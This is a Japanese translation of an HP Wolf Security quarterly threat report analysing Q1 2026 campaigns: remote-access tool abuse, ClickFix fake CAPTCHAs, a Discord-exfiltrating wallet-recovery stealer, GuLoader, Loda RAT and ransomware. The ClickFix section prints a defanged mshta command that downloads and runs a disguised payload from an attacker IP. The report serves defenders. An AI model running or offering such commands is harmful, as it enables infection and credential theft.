※ 本ブログは、2026年6月11日にHP WOLF SECURITY BLOGにポストされた HP Wolf Security Threat Insights Report: June 2026 の日本語訳です。

HP Wolf Security 脅威インサイトレポートの2026年6月版へようこそ。四半期ごとに我々のセキュリティエキスパートが、 HP Wolf Securityで特定された注目すべきマルウェアキャンペーン、トレンド、テクニックを紹介します。検知ツールを回避してエンドポイントに到達した脅威を隔離することで、HP Wolf Securityは、サイバー犯罪者が使用している最新のテクニックを把握し、セキュリティチームに新たな脅威と戦うための知識を与え、セキュリティ体制を向上させます。[1]

本レポートでは、2026年第1四半期に実際に発生した脅威について解説します。

2026年第1四半期、HP Threat Researchは、LogMeInおよびScreenConnectを悪用して被害者のエンドポイントへのリモートアクセスを取得しようとする新たな攻撃キャンペーンを確認しました(T1219.002)。[2] 攻撃者は長年にわたり正規のリモートアクセスツールを悪用してきましたが、これらのキャンペーンは、導入された特定の製品や、攻撃者が制御する登録プロセスの使用という点で際立っていました。

攻撃者は、アプリケーションを改ざんするのではなく、公式のインストーラーを配布し、被害者の端末を自分たちが管理するアカウントに登録しました。これにより、攻撃者は正規のベンダーのインフラを利用してリモートアクセスを行うことが可能となり、従来のマルウェアの展開に比べて、その活動を通常のIT管理業務と見分けることがより困難になりました。[2]

このキャンペーンは、PDFファイルが添付されたフィッシングメール(T1566.001)を通じてユーザーにアプローチしました。[8] 攻撃者は、個人や企業がドキュメントをまとめ、確定申告を行い、納税手続きを行う年末の申告期間に合わせて、税務をテーマにしたルアーを使用しました。添付ファイルには、機密性の高い税務ドキュメントを安全に転送する方法が記載されていると説明されていました。

PDFを開くと、ドキュメントを読み込んでいるように見えるWebページに誘導されます(T1204.001)。[9] また、このページでは、パスワードで保護されたアーカイブのダウンロードも開始されます(T1027.015)。[10] パスワードは元のPDF内に記載されていたため、一部のゲートウェイスキャナーでは、配信前に内容を検査することが困難になっていました(T1027.013)。[11]

ア ーカイブには、課税概要と表示されたVBScriptファイ ルが含まれています。このファイルを開くと、ほぼ自動化されたインストール処理(T1204.002)が開始されます。[12] スクリプトは最終的ペイロード(T1059.005)をダウンロードし[13] 、その後ペイロードのインストールを試みます。インストール完了のために必要な管理者権限を取得するためにユーザーアカウント制御（UAC）のプロンプトを表示し、ユーザーが承認した場合は、管理者権限でペイロードを再実行します。

また、スクリプトでは疑いを減らすためのダミー画面も使用しています。インストーラーの実行中に、あらかじめ作成された税務書類が表示されたブラウザページが開きます。これにより、ユーザーには期待していたドキュメントが正常に読み込まれたかのような印象を与えます。しかし、その裏では、ユーザーのPCにリモートアクセスツールがインストールされています。[2]

ペイロードは、LogMeInの公式クライアントです。インストーラーは署名されており正規のものであるため、この攻撃キャンペーンには、信頼できないドメインやIPアドレスとのネットワーク通信など、従来のマルウェアに見られる兆候が一部欠けています。また、攻撃者はMSIのコマンドライン引数を使用して、通常であればリモートアクセスソフトウェアがインストールされていることをユーザーに知らせるプロンプトを表示させないようにしています。

インストールが完了すると、LogMeInは攻撃者のアカウントを使用してベンダーのインフラストラクチャに接続します。その後、このソフトウェアはシステム探査(T1105)のための追加コンポーネントをダウンロードします。[14] これらのコンポーネントは、パッチレベル(T1082)やインストール済みのセキュリティ製品(T1518.001)など、エンドポイントに関する情報を収集します。[15][16] 攻撃者は、リモートセッションを利用してファイルを閲覧したり、機密データを検索したり、追加のツールをインストールしたりすることができます(1083)。[17]

税金をテーマとしたフィッシング以外にも、リモートアクセスツールの悪用を確認しました。他のキャンペーンでは、攻撃者はユーザーがドキュメントを表示するにはソフトウェアの更新が必要だと主張していました。リンクをクリックすると、ユーザーのソフトウェアのバージョンを検知し、即座の更新を提示する、精巧な偽のWebサイトに誘導されました。[9] ダウンロードされたファイルには、提示された更新プログラムは含まれず、代わりに攻撃者が制御するリモートアクセスソフトウェアがインストールされます。[12]

偽のアプリケーションサイトも、拡散経路の一つでした。攻撃者は、検索エンジンポイズニングやマルバタイジングを利用して、通常はモバイル端末で使用される、あるいはコマンドラインインターフェースを通じて制御される偽のデスクトップ版アプリを提供するサイ トへユーザーを誘導しました(T1189)。[18] これらのアプリケーションをダウンロードしたユーザーは、実際にはリモートアクセスソフトウェアやその他のマルウ ェアをインストールすることになってしまいました。[12]

巧妙に設計されたルアーにより、悪意のあるインストールが、日常的なドキュメントへのアクセス、ソフトウェアの更新、あるいは正規のアプリダウンロードのように見せかけることが可能です。HP Sure Clickはこの脅威を阻止し、攻撃者がデバイスを制御することを防ぎます。また、組織としては、万が一攻撃者が足場を築いてしまった場合でも、最も機密性の高いアプリケーションやデータを保護する手段が必要です。HP Sure Access Enterpriseのようなアプリケーション隔離ソリューションは、重要なアプリケーションやデータへのアクセスを、エンドポイントの他の部分から隔離することで、その保護に寄与します。

026年第1四半期、HP Wolf Securityは偽のCAPTCHAページを利用してユーザーを騙し、PC上で悪意のあるコマンドを実行させるClickFixキャンペーンを確認しました(T1204.004)。[3] これらのページは、mshtaコマンドをクリップボードにコピーし、ユーザーに実行するよう指示することで、Amatera Stealerや場合により、その後のペイロードを配信する感染チェーンを開始させました。[4]

偽CAPTCHAページは、見慣れたロゴやアニメーション、段階的手順などを用いて、正規の認証画面を模倣していました。このキャンペーンにおいて、コピーされたコマンドは以下の通りでした：

mshta hxxp://185[.]193[.]89[.]158/sombr.aif

実行されると、Windows は mshta.exe を起動し、ダウンロードされたコンテンツを Microsoft HTML Application Hostに渡します (T1218.005) 。[19] このコマンドは、攻撃者が制御する IP アドレス  からsombr.aifというファイルをダウンロードします(T1105)。[14] 通常、.aif 拡張子は音声ファイルに関連付けられますが、 sombr.aif は悪意のあるスクリプトコードを含む HTA ファイルです(T1036.008)。[20] 同様の攻撃キャンペーンでは、 .pl、.m3u3、.wav など誤解を招く他の拡張子も使用されています。[20]

HTAファイルは、エンコードされたPowerShellコマンドを実行します(T1059.001)。[21] このエンコードにより、実行前にコマンドの内容が隠蔽されます(T1027.013)。[11] その後、PowerShell は n2.gz という名前の 2 つ目のファイルをダウンロードして実行します。[14] この拡張子も誤解を招くもので、ファイルには PowerShell コードが含まれており、GZ アーカイブではありません。[20] その後、スクリプトは指定されたドメインからアーカイブをダウンロードし、ユーザーの一時フォルダに保存し、完全なインストールディレクトリを解凍し、そのディレクトリ内で実行可能ファイルを検索して実行します(T1027.015)。[10]

このスクリプトの特筆すべき特徴の一つは、詳細なログ記録機能です。PowerShellコードは、実行したインストール手順を記録したログファイルを作成します。このログ記録機能は、テスト中に追加され、キャンペーンが本番環境に移行した際にもそのまま残された可能性があります。[21]

解凍された実行ファイルはSetup.exeという名前で、正当な署名付きPython 3.11の実行ファイルです。このファイルには悪意のあるコードは含まれていません。その代わりに、攻撃者はDLLのサイドローディングを利用しており、Setup.exeが実行されると、同じディレクトリにある悪意のあるpython311.dllが読み込まれます(T1574.001)。[22]

この悪意のあるDLLには署名がなく、正規のPython DLLよりもわずかにサイズが大きく、改変されたPy_Main関数をエクスポートしています。この関数は、マルウェアのエントリポイントとして機能します。

ペイロードはAmatera Stealerであり、ACR Stealerなどの以前の亜種と関連付けられているインフォスティーラーです。[4] Amateraは、認証情報、ブラウザのクッキー、および仮想通貨ウォレットのデータを標的としており、ローダーとしても機能します。このキャンペーンでは、アドウェアや、攻撃者が感染したエンドポイントを遠隔操作するために悪用する正規のリモート管理ツールNetSupportなど、後続のペイロードが配信されていることが確認されました。[2]

1月上旬、HP Wolf Securityは、あるユーザーが人気のあるファイル共有サービスからCrypto Wallet Finder App.pyという名前のPythonスクリプトをダウンロードした攻撃を阻止しました。ファイル名や表示内容からは、このツールがシステム上で紛失した仮想通貨ウォレットの復旧に役立つかのように思われました。しかし実際には、このスクリプトはPythonを通じて実行されるインフォスティーラー(T1059.006)でした。[23]

このマルウェアは、システム情報を収集し、Webブラウザからパスワードや機密データを抽出するように設計されています(T1555.003)。[24] また、ローカルシステム上でドキュメント、写真、仮想通貨ウォレットのファイルを検索し(T1005)、スクリーンショットを撮影することも可能です(T1113)。[25][26} スクリプトによって発見されたウォレットデータは、ユーザーには返されません。その代わりに、盗み出された他の情報とともにパッケージ化され、攻撃者に送信されます。

このスクリプトは、盗んだデータをローカルフォルダに一時保存した後、ZIPアーカイブに圧縮します(T1560.001)。[27] 実行の成功率を高めるため、このマルウェアは不足しているPythonモジュールを被害者のシステムに直接インストールします。これらのモジュールの1つはネットワーク通信を可能にするもので、マルウェアはこの機能を利用して、DiscordのWebhook(T1567.004)を介してZIPアーカイブを外部へ持ち出します。[28] これにより、攻撃者は専用のコマンド＆コントロール（C&C）インフラを維持することなく、設定済みのDiscordチャンネルで盗んだファイルを受け取るシンプルな手段を得ることができます。

いくつかの特徴から、このマルウェアがAIアシストあるいは「バイブコーディング」の手法を用いて作成されたことが示唆されています。コードの構造、命名規則、および絵文字の多用は、AIの支援によって生成された、あるいは大幅に改変されたコードの特徴と一致しています。また、同じウォレット復旧を装ったおとり手法を用いて、他のインフォスティーラーを配布しているGitHubリポジトリも確認されており、このルアーが類似したキャンペーン間で再利用されていることが示唆されています。

この攻撃は、失った仮想通貨を取り戻したいという被害者の切実な思いにつけ込んでいます。ウォレット復旧ツールを探しているユーザーは、特にそのツールが、自分にとって重大な問題に対する直接的な解決策を提供しているように見える場合、インターネット上で見つけた見慣れないスクリプトを実行してしまう可能性が高くなります。しかし、このケースでは、スクリプトを実行してもウォレットは復旧しません。むしろ、ブラウザの認証情報、ドキュメント、スクリーンショット、そして保有している仮想通貨ウォレットの情報が、攻撃者にさらされてしまうことになります。

2026年第1四半期、HP Wolf Securityは、マルウェアの配布やフィッシングに利用されるPDFルアーがわずかに増加していることを確認しました。その手口には、ぼやけたドキュメントのプレビュー画像に目立つボタンが配置されたもの、裁判所からの通知、給与や賞与の支払い通知などが含まれていました。PDFを開くと、ユーザーは通常、外部のWebサイトに誘導されます。マルウェアキャンペーンでは、これらのサイトを利用してダウンロードを促し、フィッシングキャンペーンでは、ユーザーを認証情報集ページにリダイレクトしていました。

攻撃者は、自ら直接運営するインフラではなく、乗っ取られたWebサイトや信頼されているオンラインサービスを頻繁に利用していました。あるフィッシングキャンペーンでは、攻撃者が正規のファイルホスティングサービスであるFigmaを悪用し、ユーザーにサイトへのリンクをクリックするよう指示する簡単なスライドをホストしていた事例が確認されました(T1102)。[29]

別のキャンペーンでは、ボーナス支給に関するPDFルアーを使い、GuLoaderを配布していました。[5] このPDFファイルは、ユーザーをCAPTCHAで保護されたWebページにリダイレクトし、これにより自動分析ツールがペイロードのダウンロードを妨げるのを防いでいました。サイトが訪問者を正当なユーザーであると判断すると、ボーナス支給のテーマに関連したファイル名を持つアーカイブファイルが送信されました(T1027.015)。[10]

このアーカイブには、コメントで埋め尽くされ高度に難読化されたスクリプトが含まれていました。これは、静的スキャンを妨害し、手動による分析を遅らせることを目的としたものと見られます(T1027.010)。30 また、このスクリプトにはAuthenticode署名ブロックが追加されていましたが、その署名は有効ではありませんでした(T1036.001)。[31]

このスクリプトは、PowerShell コマンドを生成して実行しました(T1059.001)。[21] これには、notepad.exe を起動し、 s と l の最初の出現箇所を特定した上で、コマンドの構築時にそれらの文字を使用するという、通常とは異なる難読化の手法が用いられていました。[30] これは、静的解析を困難にすることを目的としていた可能性があります。

生成されたPowerShellは動的な難読化技術を採用して、実行時にのみ意味のある命令が再構築されるようになっていました。[30] また、Mozilla Firefoxを模倣したカスタムユーザーエージェント(T1105)[14]を使用して、別のエンコードされたPowerShellペイロードをダウンロードしました。 ペイロードは、同じプロセスコンテキスト内で復号化され実行されました。[21]

復号されたペイロードは、過去のキャンペーンで見られたパターンに従って、最初のセクションにはバイナリコードが、2番目のセクションにはPowerShellローダーのロジックが含まれていました。PowerShellはメモ リを割り当て、そこにバイナリコードをコピーし、NtProtectVirtualMemoryを使用してメモリのアクセ ス権限を変更した後、CallWindowProcAを用いて実行権限を渡します。これはメモリ内シェルコードの実行(T1620)[32]と一致しています。

このシェルコードはGuLoaderと呼ばれるもので、初期感染後に追加のマルウェアを取得するために使用されるダウンローダーです。[5] GuLoaderは、ペイロードの保存や回収に正規のクラウドサービスを多用しているので、運営者が悪意のあるトラフィックを通常のネットワーク活動に紛れ込ませるのに有効です。その主なリスクは、資格情報窃取型マルウェア、RAT、ランサムウェアなど、GuLoaderが取得して実行する後続のマルウェアにあります。

主に中米で確認されたスペイン語によるキャンペーンにおいて、攻撃者は悪意のあるExcelドキュメントをEメールの添付ファイルとして配布しました(T1566.001)。[8] 攻撃者は、支払いをテーマにした件名や本文を用いて、受信者に添付ファイルを開かせるよう誘導しました。スプレッドシートでは、背景にぼかされた銀行取引明細書を表示して偽装を強化し、ユーザーにアクティブコンテンツを有効にするよう促していました。

ユーザーがマクロを有効にすると、埋め込まれたVBAコードによって感染チェーンが始まります(T1059.005)。[13] このマクロはVBScriptを生成し、それをユーザーのパブリックディレクトリに書き出し、シェルコマンドを通じて実行します。[13]

このVBScriptは、攻撃者が制御するドメインから15 MBのJavaScriptファイルをダウンロードします(T1105)。[14]その後、そのファイルをユーザーのパブリックディレクトリに保存し、実行します(T1059.007)。[33] 攻撃者は、JavaScriptに冗長なコンテンツを埋め込んでいます。不要な行を削除したところ、スクリプトの約80％は無視できることがわかりました。このパディングは、ファイルが静的スキャンを回避し、手動による分析を遅らせるのに役立っていると考えられます(T1027.010)。[30]

このJavaScriptは、Base64でエンコードされたバイナリをデコードし、Filename.exeという名前で保存し、実行します。このバイナリにはLodaというRATが含まれており、攻撃者はこれを利用して、感染システムのを制御、データの窃盗、キーロギング、スクリーンショット撮影、追加マルウェアのダウンロードをすることができます。[6]

永続化を確立する前に、Loda RAT は自身を %APPDATA%\Windata にコピーし、ファイル名を Defender. exeという名前に変更します(T1036.005)。[34] 攻撃者は、このファイルが Microsoft Defender に似るようにこの名前を選んだとみられ、おそらく目立たないようにするためでしょう。34 その後、Loda RAT は Windows の CurrentVersion\Run レジストリキーを使用して永続化を設定し、ログイン後に再び実行されるようにします(T1547.001)。[35]

このキャンペーンは、攻撃者が依然として、ユーザーがアクティブコンテンツを有効にできるExcelのVBAマクロを利用していることを示しています。

2026年第1四半期、HP Wolf Securityによって阻止されたランサムウェア攻撃が観測されました。この攻撃は、企業の端末群ではなく、個人のエンドポイントを標的としていました。攻撃は、アーカイブ形式のメール添付ファイルから始まりました(T1566.001)。[8] アーカイブの中には、Document.doc.lnkという名前のファイルが含まれていました。

ファイル拡張子が非表示になっているWindowsシステムでは、このファイルがMicrosoft Wordドキュメントのように見える可能性があります。また、攻撃者はショートカットのアイコンをドキュメントのように変更しており、受信者がそれを開く可能性を高めています(T1036.008)。[20]

このファイルはドキュメントではなく、PowerShell を実行するように設定された Windows のショートカットです(T1059.001)。[21] 開くと、このショートカットはコマンドを実行し、実行ファイルをダウンロードして直ちに起動します(T1105)。[14]

ダウンロードされた実行ファイルのサイズはわずか11 KBです。その主な目的は、ランサムウェアのペイロードをダウンロードして実行することです。[14] また、再起動後も状態を維持し、ユーザーが再度サインインした際にペイロードを再起動できるよう、 CurrentVersion\Run にレジストリ値を書き込みます(T1547.001)。[35]

実行されると、このランサムウェアはデバイス内のドキュメントファイルを検索し、それらを暗号化します(T1486)。[36] また、アクティブなプロセスを既知のプロセス名の一覧と照合することで、仮想環境や分析環境で実行されている兆候がないかを確認します(T1497.001)。[37] さらに、別のプロセス一覧を用いて、特定のアプリケーションを終了させ、ファイルハンドルを解放します。これにより、そうでなければロックされていた可能性のあるファイルも暗号化できるようになります。

また、このマルウェアはLDAPを利用して後にラテラルームーブするために、ローカルネットワーク上のシステムに関する情報を収集することも可能です。身代金要求メッセージには、機密データが外部へ持ち出されたと記載されていますが、我々の分析では、ランサムウェア自体にデータ窃取機能は確認されませんでした。

暗号化後、ランサムウェアは侵害されたフォルダに復旧手順を記載したテキストファイルを書き込み、デスクトップの壁紙を変更して身代金要求メッセージを表示します。

HP Wolf Security 脅威インサイトレポートは、ほとんどのお客様が脅威のテレメトリをHPと共有することを選択することによって実現されています。当社のセキュリティ専門家は、脅威の傾向や重要なマルウェアキャンペーンを分析し、洞察を注釈したアラートをお客様にフィードバックしています。

HP Wolf Security の導入を最大限に活用するために、お客様には以下のステップを踏むことをお勧めします。[a]

• HP Wolf Security ControllerでThreat Intelligence ServicesとThreat Forwardingを有効にし、MITRE ATT&CKのアノテーション、トリアージ、専門家による分析を受けることができるようにしてください。[b] 詳細については、ナレッジベースの記事をご覧ください。[38][39]
•  HP Wolf Security Controllerを最新の状態に保ち、新しいダッシュボードとレポートテンプレートを受け取ることができるようにしてください。最新のリリースノートとソフトウェアのダウンロードは、カスタマーポータルでご覧ください。[40]
• HP Wolf Securityのエンドポイントソフトウェアをアップデートし、当社の研究チームが追加した脅威アノテーションルールを常に最新に保ってください。

HP Threat Research チームは、セキュリティチームが脅威から身を守るために役立つ 侵害の痕跡 (IOC) やツールを定期的に公開しています。これらのリソースは、HP Threat Research GitHub リポジトリからアクセスできます。[41] 最新の脅威に関する調査については、HP WOLF SECURITY ブログ[42] にアクセスしてください。

企業は、ユーザーがEメールの添付ファイルを開いたり、Eメール内のハイパーリンクをクリックしたり、Webからファイルをダウンロードすることに対して最も脆弱です。HP Wolf Securityは、リスクの高いアクティビティをマイクロVMに隔離し、ホストコンピュータがマルウェアに感染したり、企業ネットワークに広がったりしないようにすることで企業を保護します。HP Wolf Securityは、イントロスペクションを使用して豊富なフォレンジックデータを収集し、お客様のネットワークが直面する脅威を理解し、インフラストラクチャを強化できるよう支援します。HP Wolf Security 脅威インサイトレポートは、当社の脅威研究チームが分析した注目すべきマルウェアキャンペーンを紹介し、お客様が新たな脅威を認識し、環境を保護するために行動を起こすことができるようにします。

HP Security Labによる25年以上にわたるセキュリティ研究とイノベーションを基盤とするHP Wolf Securityは、ハードウェアレベルから始まり、ソフトウェアやサービスにまで及ぶ、スタック全体にわたる包括的なエンドポイント保護と回復力を提供します。これまでに、HP Sure Startは2億台以上[c] のエンドポイントを、ファームウェアの侵害から保護してきました。また、HP Sure Clickは、ドキュメントやWebページにおける600億件以上[d] の危険なユーザー活動を隔離しており、これらの隔離された活動に起因するセキュリティ侵害の報告はゼロです。最も安全なハードウェアを中核とし、継続的な運用を可能にする将来を見据えたセキュリティ、そして大規模な可視性、制御、レジリエンスを備えた「HP Wolf Security」は、未来の働き方に向けて構築されています。

[1] https://hp.com/wolf

[2] https://attack.mitre.org/techniques/T1219/002/

[3] https://attack.mitre.org/techniques/T1204/004/

[4] https://malpedia.caad.fkie.fraunhofer.de/details/win.amatera

[5] https://malpedia.caad.fkie.fraunhofer.de/details/win.guloader

[6] https://malpedia.caad.fkie.fraunhofer.de/details/win.loda

[7] https://malpedia.caad.fkie.fraunhofer.de/details/win.global

[8] https://attack.mitre.org/techniques/T1566/001/

[9] https://attack.mitre.org/techniques/T1204/001/

[10] https://attack.mitre.org/techniques/T1027/015/

[11] https://attack.mitre.org/techniques/T1027/013/

[12] https://attack.mitre.org/techniques/T1204/002/

[13] https://attack.mitre.org/techniques/T1059/005/

[14] https://attack.mitre.org/techniques/T1105/

[15] https://attack.mitre.org/techniques/T1082/

[16] https://attack.mitre.org/techniques/T1518/001/

[17] https://attack.mitre.org/techniques/T1083/

[18] https://attack.mitre.org/techniques/T1189/

[19] https://attack.mitre.org/techniques/T1218/005/

[20] https://attack.mitre.org/techniques/T1036/008/

[21] https://attack.mitre.org/techniques/T1059/001/

[22] https://attack.mitre.org/techniques/T1574/001/

[23] https://attack.mitre.org/techniques/T1059/006/

[24] https://attack.mitre.org/techniques/T1555/003/

[25] https://attack.mitre.org/techniques/T1005/

[26] https://attack.mitre.org/techniques/T1113/

[27] https://attack.mitre.org/techniques/T1560/001/

[28] https://attack.mitre.org/techniques/T1567/004/

[29] https://attack.mitre.org/techniques/T1102/

[30] https://attack.mitre.org/techniques/T1027/010/

[31] https://attack.mitre.org/techniques/T1036/001/

[32] https://attack.mitre.org/techniques/T1620/

[33] https://attack.mitre.org/techniques/T1059/007/

[34] https://attack.mitre.org/techniques/T1036/005/

[35] https://attack.mitre.org/techniques/T1547/001/

[36] https://attack.mitre.org/techniques/T1486/

[37] https://attack.mitre.org/techniques/T1497/001/

[38] https://enterprisesecurity.hp.com/s/article/Threat-Forwarding

[39] https://enterprisesecurity.hp.com/s/article/HP-Threat-Intelligence

[40] https://enterprisesecurity.hp.com/s/

[41] https://github.com/hpthreatresearch/

[42] https://threatresearch.ext.hp.com/blog

a. HP Wolf Enterprise Securityはオプションサービスで、HP Sure Click EnterpriseやHP Sure Access Enterpriseなどが該当します。HP Sure Click Enterpriseは、 Windows 8あるいはWindows 10が必要で、Microsoft Internet Explorer、Google Chrome、ChromiumまたはFirefoxに対応しています。 Microsoft OfficeまたはAdobe Acrobatがインストールされている場合、サポートされている文書には、Microsoft Office（Word、Excel、PowerPoint）およびPDFファイルが含まれます。HPSure Access Enterpriseには、Windows 10 ProまたはEnterpriseが必要です。HPのサービスは、ご購入時にお客様に提供または提示される、当該HPのサービスに適用される使用条件に準拠します。お客様によっては該当地域の法令に従ってその他の法的権利を有することもあり、その場合には当該権利はHPサービスお取引条件またはお使いのHP製品とともに提供されるHP限定保証条件による影響を一切受けません。完全なシステム要件については、以下を参照ください。 www.hpdaas.com/requirements

b. HP Wolf Security Controllerは、HP Sure Click EnterpriseまたはHP Sure Access Enterpriseが必要です。HP Wolf Security Controllerは、デバイスやアプリケーションに関する重要なデータを提供する管理・分析プラットフォームで、スタンドアロンサービスとしては販売していません。HP Wolf Security Controllerは、厳格なGDPRプライバシー規制に従っており、情報セキュリティに関してISO27001、ISO27017、SOC2 Type2の認証を受けています。HPクラウドへの接続が可能なインターネットアクセスが必要です。完全なシステム要件については、以下を参照ください。www.hpdaas.com/requirements

c. HPの社内調査によるものです：HP Sure Startを搭載したPCは2億台以上出荷されており、マルウェアによる侵害の報告は1件もありません。

d. 顧客から寄せられたインサイトおよび導入実績に関するHP社内の調査に基づく推定値です。

© Copyright 2022 HP Development Company, L.P. ここに記載されている情報は、予告なく変更されることがあります。HP の製品およびサービスに関する唯一の保証は、当該製品およびサービスに付随する明示的な保証書に記載されています。本書のいかなる内容も、追加的な保証を構成することは一切ありません。 HP は、本書に含まれる技術的または編集上の誤りや脱落について責任を負いません。

Author : HP WOLF SECURITY

監訳：日本HP